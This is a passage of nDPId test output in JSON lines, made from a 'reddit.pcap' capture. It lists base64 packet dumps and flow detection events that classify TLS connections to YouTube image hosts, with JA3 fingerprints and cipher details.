+01147{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4885,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":895701,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLu+0r0b2ngBgB+10nAAABAQgKRJp1B8LXQ5oWAwECAAEAAfwDA7oV79R4wHgRAL7AbVXE9v058PsBigjvSIOLh78hsprPIH89NlzV0TnECw3jtHrFgKXeJLtftYSCOzC0pH+h068qACAKChMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAEAAOAAALaS55dGltZy5jb20AFwAA\/wEAAQAACgAKAAhqagAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKWpqAAEAAB0AIDrwMaG6jpMb0YufYlUyECjXCvQ2CIEExX7BF92xG1MCAC0AAgEBACsACwoqKgMEAwMDAgMBABsAAwIAAvr6AAEAABUA0QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00822{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4885,"source":"reddit.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1605291688831,"flow_last_seen":1605291688895,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:815::2016","src_port":52296,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTube","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"i.ytimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5519,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":954910,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4xvp17E6f1aoAgBALMF7QAAABAQgKwtdDyDfz96Y="} +00456{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5581,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":962330,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQfioiqsGWgBALMK\/YAAABAQgKwtdDzO7gTdE="} +00455{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5584,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":962332,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgVAAAAAAAAIBYqAcsBIEmLB5kd7IUo3\/YpAbvMSCvRvadMy73ygBALMP2JAAABAQgKwtdDzUSadQc="} +02092{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5588,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963049,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQfioiqsGWgBgLMDVNAAABAQgKwtdD0u7gTdEWAwMAegIAAHYDA90ZPUMr7r0om8G5tVihFIvrCiKzBhOCI9859mw3YafXIET\/tOg8vSE9lW4MNj+8zcNcKH9YOh6jVhMXDVw4Nj\/KEwEAAC4AMwAkAB0AIChtV2a6ATPKAA3e8X56CFq10gf8AfOeKvHWI6pc16QmACsAAgMEFAMDAAEBFwMDE+MLegOYCpvURbhKJmT4nVVP4XOKbeWcexFB7tdQNSafHaHvuRDGLHqw0rg8qrvnM+LkZmWhGJW+vesACeqMjhb0QCCPVyA3sQHAQJKOzBQuqEvC+aQzdC820nUf8ZkrBM7KHLG4HL9fOpXGnAxcpmlnFaixjhs1C1QHeSStQ9nWDH6s4o9Xe7SFNKOfr8W8fvKu9OQmrJ44OTzVCioKPx2Kb\/U83r3ZgcuppcifvLbWIqxef3jZ9iHNX+XwP8WGbkUCKSpQ7NcLzZ1g946EizOxYz\/WpxjSzHfYn5\/O+CObAR6eoxglvOdi9CiLy6S0r4SzaaOfOceIqWr122xNKypX0LlYh9VhKZRbM95mRlufA7uQ7zxsY3jw5Q0ls4OrjoG55AjuC\/293vRnM2UX37wtPU0KtggloJUHDBmWlcCn7sVpPlCdo8gGEhRLvHArmobW\/jDlAL6e7FfaeQi4EWvQ+cTNDne7YjBwoTtd0il0ouGXTFIDI4nkVOYtdRtY5Y5PmeqFStsk8T\/QLWVmMTfQI5dyHPEpjbDgQtY3IusHhyRjJG+sC4nWn8fLWFSV2MtrBYIdQDC+0jPeQL72b41PCr6Y7GMcGVcQM8jdQT2AybH6ggM1Zy4dClU8TAXwKqC+mzHkq+yFYHxUCWCVPnHpt12Brc1yc2W9sTHzOgAU5ipHHX0cIaTyR1rHiqvFexIC1j8RvjD1+1yTQAHcQ32fNZcviBgZs2dr18n9nmeIixA97Cch29cUpYqBmJkB5lkuNTi2bWhBDO90SeQ4D8X\/iMYYEuMqRh9fwUuPJILFGibDinLC+ttRcPDf0zSs8j24gxO9wN7j0hAgeNyav6n66Z5vKfATiFEgyjm+MpMCryJBAsBVUO8PZ6oHMMRLVoaOn1HKexhqqNsqCfbQYMrwAfNeb8Slgs2pvPLAFxgpWCbMMB+IU2HKHH+iK3Odbn3eTnayHuXcjoBJcNa0xbGZ3q3F8jpZ6D9twRkv6cjiLeUcslmXwqc08LPvhd4\/nAMl+Y0bz9D6nVqd8zkp5tTTSzzpsWrME6zO4tUSnbB0vtniu2CwKCuM82pl51v07k2v\/\/NH6\/km\/vVNrYNWh3fOdv51DJkDyPoKBuZiUj+QP9E7jNw8NlCwvYgKt9ccpM5vIhO8SmJnNmd5ll7poQrzDXKbI5N0lWJGfCJ3oTjc9qH3g03r+x7Wk105cEQ2kesvjM9DeSy4nXD1L\/OKFAAW\/S1hHLl7jtRnL\/NmuOBlCi372YoQCEvizMrhH1fgfAHoFGyBHk3fGHup8MA\/5uGeLacmQBZLjBodeecTo0ZqlMpl\/WktJ37xubzS6qNLqFzVFXl7XnGyqsfxUqtFoZ5l5YnSlKDspBXQf55fiomevvcLlp5NMOe9l2YZXbXSRa1j0hfE97jl9yAxhMNLGg=="} +00865{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5588,"source":"reddit.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":6,"flow_first_seen":1605291688830,"flow_last_seen":1605291688963,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2001","src_port":58122,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTube","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.3","client_requested_server_name":"yt3.ggpht.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02102{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5590,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963050,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQguIiqsGWgBgLMFKrAAABAQgKwtdD0u7gTdGJDtVHw4EQ3BpYfl2U4PvtKY8GTr3JsVY6DeC+ssrdDjq2pRMAypjpWCd7MyA7hfa9JdWnTME2vbGAoGru6VPlkdN3Mk95Ohv\/iPl\/HETlSv9RBdvCPouschfOCDFCHA6enI4wRjq0pFfYYQWxgRtdvTr9DZb3CKY5X2RHegCOq5d6\/LT6zZEEH70Ix9dc0BVewu9\/90vK8jlkxzHDogatul7aYRE47LkgNMNZvPPZW9\/gIBuFoEwuuFtlZ4e3ohvOQkiCwJm4yn8A0goLWAzHCehGRMYZEomHtXF6hzn\/7pwDB9n0a9CtqmSMRBdpQhcICNc6rsNvT1HCrZM\/jdkBBXf3wyZxYdi2IRUVSEtesC19e+tiwWn97ixpqodwspJtYqJIC7+x3VZbl9WDVm2\/0Zk29Sh6AMHC2X2KeD9VjfyRZgdl2YVV8fHSsL9gZNk1BKXPkFCkHnhlbabw7V8Lm2EhKfNloqZgqVd8Cfz8xi7mTKpdO52mNE8e85ifK\/rcTe0bv8k2w0hRIREi56kAzBDVnqrA1V3\/e\/QbWmrvj4QTkTMcBgwcb2vD1xN19zP6jHm5ZFho5b3S0HsSrP\/Av6HvTAEyK9OvoY3Ffy5kgRxsFIrfpG3Gg3XE2P+8it\/p4ncDuXfQ8l2TzD2OO6rSA6DBVsS9CdBPYpHnksIboZmp+e3TcAheIqtub+ZMuP5GUiTijW+0yZCc59fpAHuBKWCCqOptRjIevnS9b5Z+ycx\/zkVXJTIlrxntElf7+3K8z2f7YNut9+gSa\/Y66tT20lu1vyFtI3rzb68z27DqF4oq46tX++qKB3CrPszwE2Hw91wTAADpGB\/xWS5vjzWc8\/kMq77ceAtgBYeQ2+\/HhpjcZHUrWrHbedIMgtn9tqzzcM4XHwxwjBnxeaceEAzIysWgncv8b2uonzZcp37TBb+1w\/eRCHHIWl2ns5ejLa61tmex0TbuLfIT9ufi\/6vymA\/uOEWG5XWYnzSLV\/XjFt6KjrcUQdLvLfI8H3wsLIWOWjxYgDN0Chg4hccezGj0UzTtPB\/XH86dPTUChHuACPHT35pmvcA2tXUklPfjhvu+2PEPtfYpHGs7mXh8i94hLgksNOA5EBMuAJz9EQc5O6HYWb5QE\/JbFbIbuM\/xf18z8hd9yqDfsoZX6yFUXDlXbKQbhSdSdxFD+4TvKvVhRqBrE0vT8gpypNiyZplLvteuvKuf3VziBxr\/podGznZjq98LAYSdCOzBLhP5XenHxFrP++QRROp\/O8JVZC1NxZ9prWjp+KwW9lQCvAczngYnJcEPJEjK4bMjlmJbdgr30xJhyAvTRbySOLtj25tEqYiR43Xx1Qilm0YKEeCinM0f1pkG4DCD6yVOQcItQHBpQEF38mmmtnw53Kx+YuMHBnrsagDXTOrfFAnnHDIrusEAgLJZ4GTcLIJ3\/RXUWs0XMxlPmX+p+JdjLAOkhwDI+uCEee5rrcLhrVXDJXnGDsAHbTUzFlTB7w+hpXXOTz0VKCQnKKWSA9G0OXRjFOLpBxUgyNE4A6KiGkgKuZAewkq\/UqLhCo+GafjuwYOZ+7amRkyPsHg0fWyC2I9i2sLyuqR3N7Um5M9Sjw=="} +02095{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5592,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963051,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQh5oiqsGWgBgLMJNlAAABAQgKwtdD0u7gTdGwXV+aOtl2GPpDv0nPfBb6YA0YK6Yv54wIkkydyewIQrVKHAwAfO0l5KgzNkUoJZz8HPTDYmwxS5ok9GDorzE2lzojea4saMQQt3JFxc+2kNpIH4LwndnSZDDRQf251wLd1FbEeMNYZn3Cnt39KZlottZkw+WUCpyCW7Hfk0yBiof8qGKg29CCRNv0mIMuriLHV\/290UDAokyJmd59ElmuwMYrKKt37hIHCyXsiMvfmNHzR\/mBqyKm8WfbTdFo8eaMmTRtNhfmNGgkoJ1oHOBkfxlQPfcU\/78r7htezX60dPpHvGoXBYL+VxyccQryu78LRytd7B6GfRM55pYm7zsbYjpaMiUjaYpcau4dNEbPIYaNqp8EBRkZqVb5CnWovh4lz4WmgY79r4cjeYZ\/EtmaBHKNrizL5NNfaeyfEr8aClOW223CjuVe0mjHYEDlA959T\/L7wIVsAaKmHBHOrhp2t\/YH2MVjuO2wa2FYX2o6VXsxiZbkkVGdFQgTXOEkEGyUykOKE887Ouk0T\/dA+FhbbcTx6EQwPPa83IR3obQXVSe3ZEh5BT42QdsfNqI4qHVZuVeX2nO21+829pfmH8IxbaVjRZ6mBBRtyH+Mhp5EFbB317Gmxto08GSA+FHlQvRtdI0uPaXvDPhZJ8eqEoGOxcdHUp7L5UWB08JNWorPFKUVlm8+Rrr9hEjpHTI6lENe2aGUOtTTZbLwU5RSU5Tz\/H1N7+8f3lixq4bq62+\/uZKeiEaA0ODWZ+thtiuI+GMXn8WAZNimidFLlWu7iI3T0RSF7FRmWm7iTqBbTihSM5jIwLzBX0Jax4tIm4ffBYvU2ie2vmty\/8HEfPrAtWopdWoZdCM31v9lUODQ4kd16ioK\/bTxYMDWkbl\/mX9psUYoy6ltaUNSdquMrgnTW4uLXOXYSNnm\/dwSkZQRP7xk6Lz+2pgvL5x3OKjCm\/OD2ggo0UY8xsxXronPby6gP0qRD\/nDrAkLLdlLrdhGufauQ4Qf9jBATtayPF6lRbVVsSzpWGrWqkfuC0g5ebc3Ecga6+oU4ZAFYgGdFc0jkZOapx9NssbSer7lYHx+dpxASWamQoWApJgmFPd4SaVoEFi0+IcCi9pLIjDk\/qtR\/KvXVnYmNsxHcvFM7OPbsb6aohjpqHr3Vi67vZdgI8BbOJYQ7xRb3hw3mHl5CXs8ryW2pov0M9N02wQ040pZ2kULDo+hz06yJAna8E3OvmrBA6O9yz1Tlr0LBwsIEt3d12LRZfI5bphqUHTFKSx\/tAQZ8MOMbW44xvRr8ifxS5JYAbeseizbFrs\/6aLbTVriqxvv7jQInJznVJgkaz5NfvOEJCMUd1iJ\/TTgs5IIlRTRVZCXbfiMkj1VQ5XbeztRpSAuGDAnPdPJyxRHE3kd+I9F34Ru2U2zcaH5Nx\/A0pKsbMAKQD8ropWgu8GPXJZqbMH+u1amXqVtsUKBrhElLE7BxvRwYvqMUYqtBaLTtdZ0SRU9RNvXRulsaoSctuVVDfHRGKbOEs+zBKkSMWoGmOSkTCEE\/3RWEuUfR4VfKO5CcyHcEq6jyKnF8dkDvQqk9dspSJ3wNJozIbru2Fa5FE6RwICPxjhckZzzng=="} +02094{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5594,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963052,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQjFIiqsGWgBgLMBjdAAABAQgKwtdD0u7gTdFm9u5uyV7QHTDRMAzD4z1tWwp8A2VLWNA8i0vqsDrA6MUn1O+174OihoGNtdBBewAVIngQ7AYrM0tkni8sbepKY12MoNgJ+toscINyymympFjJlqAbEU5CBZrI7Q+yRR\/g\/maHizN2FZwi7JFepvI5GAVjtUxnifBdpzk3UU7bTpb3aChavPCmmtQrMhyBLpO8b4gEt6hQPxpW+msVf7aUU7T2P1qq2w4EW7MGyhSOX3zj6etRnl08xddlMlevW377\/LDIgmu6yssx2yARACcqBTU5jvhyL2XVktISirhSu9+XCOPxM3Uh\/549n7axuCrNYAzlk5OfaXYzNd6QWZMijFCW1p7PX7ZWJ54m3NJnXJ4qBgB++vsOyJUIwTfu1EDVXcvayb15tnOpbRlFQ+5OkIdcIKINv4sGzXG7Q+WzwlAVM0rZhBqcMXVfShy9J+MrFq0tZiQRD2LLhQLLyee\/4w0K2BFIlNXjydltP02A6arZnDhhQhkDQiOY1HXVEIb1mvBFcK\/nPkfLSpgYXQ8110kZLH8mrkJr\/yaC4qCp4SOBCSx2f7ut8nc62l7nR2TPvEUzolT\/GdB5QuBLMjkLDeescdjxiwvGLr6g5H91tDnUpBH1idJtTMGCJIRdeZWvupCjTZDkchALykXK8XJEiPdrdme8H44PUKkgjpvkcLhkH2\/wqi+iowktjr+JzfYc35tVb1hOnJ9pOJB2wadmL4x7l+6zMLbWUC90H7+8xgQ1Wce9FskARJAYbqPwLr5VBmAEVTAuur87386QV4LPTmv45C51j++f\/4ySCoDAKOsrDup7FwTPqP9sLbZiu3YFgOGhpr+SgSlDF6AtbAaRwFfNOrEfNi4RiGoCikdVOs26fMCUcRtgnfCc7BpZojpD14sH1qkwN8mPD+lRZZv19ZJORos9on1ITjw1x+gXuY+YGmlNSk1LYTJkmT8bLzn6BMbB7Zoju9nYTa18ctYNlrifZC6MS\/HJu1ZxvKSUcmPCCuAiUlaaMRGZvbXURQBLQe0BgruzUlnAooZEquo2bCQrDRPEjV3Fqv7abQ20yK1mA+8rVWlRCjzcAFvxqB6zhRMB2j8JDviTVwDbuRhxz+h\/1cqJnD+R+MlVTUsYRKdMM3JsM\/JUuTgwDAUSKtfLz1j6zCefyIMOX1HY8\/NTspL3LOgzRNmcVCJqBb\/aJON3QTZEj9NRnMCKBKxFIC+3zUj9mt+X\/7H8xtUYbyJzAGEbyuKm9RswhZxemieeYvgUubiBZ9aSeRlRoRdAGZGzEbKg4mR3meHdGFuIMPiLSi4t3oS4ERR7fd8EJQ\/xeQ\/UiPTDz5WnS151plLFLXzFuMvjY8YZ2wbPWw45VjXzpGOoXIztsGGjh7gbJ2qX1bhv\/\/HQ7\/tVV3ov3N3TunN57OJn1PBCGcDjnV4+VFX9piYnyIuDiObokyGxK1c2tBnUgpvL67u0OFPHvHhdHk4NFIUIimbYGJzSPiH5UVtm4SoR8hDAq59kJe+nYO5tFIBRdEVy7AbpD21HhH62XqZ996v3TsD6n3Wffr3WqTDB0B13dyfN8uZAfJKCwruxt77RI5ec+FDuuX5KPLhwZHl0NzeIdDxQ4Q=="} +00455{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5596,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963058,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqwZZF0ILigBAB9bQQAAABAQgK7uBOFsLXQ9I="} +00455{"flow_id":40,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5598,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963072,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqwZZF0IeagBAB8q9aAAABAQgK7uBOF8LXQ9I="} +00455{"flow_id":40,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5600,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963079,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqwZZF0IxSgBAB66qpAAABAQgK7uBOF8LXQ9I="} +00455{"flow_id":40,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5602,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963085,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqwZZF0JEKgBAB5KX4AAABAQgK7uBOF8LXQ9I="} +00991{"flow_id":40,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5604,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963101,"pkt_caplen":483,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":483,"pkt_l4_len":429,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAa0GPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQkQoiqsGWgBgLMDULAAABAQgKwtdD0u7gTdFZII1M2RSeVmjgX1YISMW6G93g3+DoPB2Ur4jQid9BUp\/5IMsUfc0Fv1Kz8aSnh7x39P+N2yTYwyjxuKXgCN9JJ19DebL+LCOwKLfrfjRUrAkwpnnzg14xHRZ3fFkQNasmUrlMF8wbmox4THb5GTGV1ej1XgnjDdxoAN2SgFWOfX4jRfArYrcB8n\/UWaDDuoV8uM3WYMDgaV1t9ZMaTAVwnhGyuUl93RYYfLroDCPUTaDpDKRNIELA0YwNW2Ugtcs6hAiNfCd3GO73AF7p+N+HoQq7YVx6\/ynojXKAvssyMjUgUIOnUrzXwUBGnuxquU0E8txdippx\/CLa8wihKBJMI4CKUJLLoOFmw+NUqwhagnZW7gMQCfuoEkAyW2UFFNTMl3OvsMT4NyICwBijM4z26RujhqYBj4dgY0chWRrlC+2PhhigehfN6C2mLgnzfrsI32fTeHXijnxvfbL7N0a5whZQNz5uxs1xfQSqVVP7La8iPUPoc7Eu7b1OZ1VEbSf7iIa7QkMJMnFitbZp"} +02103{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5606,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963101,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgVAAAAAAAAIBYqAcsBIEmLB5kd7IUo3\/YpAbvMSCvRvadMy73ygBgLMBuHAAABAQgKwtdD1ESadQcWAwMAegIAAHYDA0v8FX+DnOzldZwH02NGtcuGZmxQHwJgS5BBCnicRIUeIH89NlzV0TnECw3jtHrFgKXeJLtftYSCOzC0pH+h068qEwEAAC4AMwAkAB0AIMqHp1zEPwXs\/Ws7kkKeUgVXXDYtN41zUV8TJ8OtvqxyACsAAgMEFAMDAAEBFwMDC42qSjnRRbxddd4MBfJz\/CI9YCEQ9H59hwSnSPF8XYr5TrmD9cmvsM0QpkLtP3Q\/umVBmn276LDLu0eV5XIEoUThimL\/RLg9vbR8rwY8rPWubT6C\/omkk8IY5D62JcBDBHekEW9aksE0LZYtw5sjtyfvBVW1CPPxBYrNZxUW6s\/1Z1qkrh\/SPjqKpwvE2p68NWjcMU2+UyedSOyigYWcYdhCLYp7\/bJadlVKJavTwWOsonIAOtPhVe15OT81cs3ApMT\/EGFhQL1CiurqHdflEeDmm3267oAJG\/4NIlGIpa6xTMdBP49ZIdGysV56f\/s9UgQnnqr8nc6leqi3DxUZoQ\/oJW2pTAWPbyWkhrHMkXaFXIq0CsbSyfg\/ivKDA87kn91dIDYcIOLSjCvS3xI7Jj9dbjsPqEaOLk4++yr2WuCHOzR\/tkg4KaYfI0K+g3ovBb8guDWbjkkjVojKJt7cNVfNrr3OB6xbrwhis\/QGRvq7lgDldho7cn3Pqxd3SU+VhCvm2IdRQAbl\/tmgVtLX19+7C+em9uRoW886sLTBCjitLTVdC8kD4TM+57xYSlywrS253X8dBk6qQgIJeanghKJflHQ4S17Z4cEH9YNviAqumpFDRQbIVPjpoMfE3x1\/Mf1FtYvPnAIR7kJa3fSkAWq2G44RIpB9XIqEUEVYoO5WBBAc9qQCgMrzYkKG3Xtxkrkw0cJ1kWDjhLi8kxJuHjvudXIqjW6WdLKvVNXHr5z7apV1yYFfN1yLS\/Mfpe0VU9xcm6dkWm8qzpy5D82XaeScN+bpOnJQY1cpE7wCrTAa+kNXtSQMXVIHk91+PWpVP3XhS\/BAL31ZEmY+VFUHkA6xrK\/Qdob7RbpU6TFaLBsnJ8DXQYUHKgjdq3udRt7ZlcG5H\/KsXi9r19ZymVY+hoE7lJY6hqfpdeEUc1xTzjROIalRniy6bdBW6N4X7uk6uHUYUiiguIFTTHz+hn8brGPJBwsNvAfAjSr04mWrs7MndfO1zAvmB6\/Z55wGa7KhbQQwMuqg7QP7kYWRYdts2vfaZcXk1pyMcpk8NFFa\/3hapi3joKKcf6zYLs\/NbpyxYFUZaVOpvTpCyR+vMOQv+wRgGtJ7Go\/J77IvNvM26KdDxgYhMbRoi3rwTUyjGAitp76R6VlX4eVMz2+eh52QTj7368N7JfMfqIB8w6zjG9trAP7IvYv0T1O6t9LwvGzvANTSiLIaEmyFw3Te9OPxxO9zQgZsEjyNGycOs\/MCYXZeCNF+nsTh\/WTccD28\/jc8Zl7LGRvoz4qx3gLzxq8fBVDgGNZgyn+w3AdQU5H9iyaS4UBiVY6OU0zaGp1A+7AWyTUxA3+NRZ7+mHkH\/8B7l9tN3OyrG7tOuXzGUQlchXBMTJBoxier2PfdhHebovPct\/JUnrnJ7dJTqkGL4KZrGQ=="} +00863{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5606,"source":"reddit.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":6,"flow_first_seen":1605291688831,"flow_last_seen":1605291688963,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:815::2016","src_port":52296,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTube","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.3","client_requested_server_name":"i.ytimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 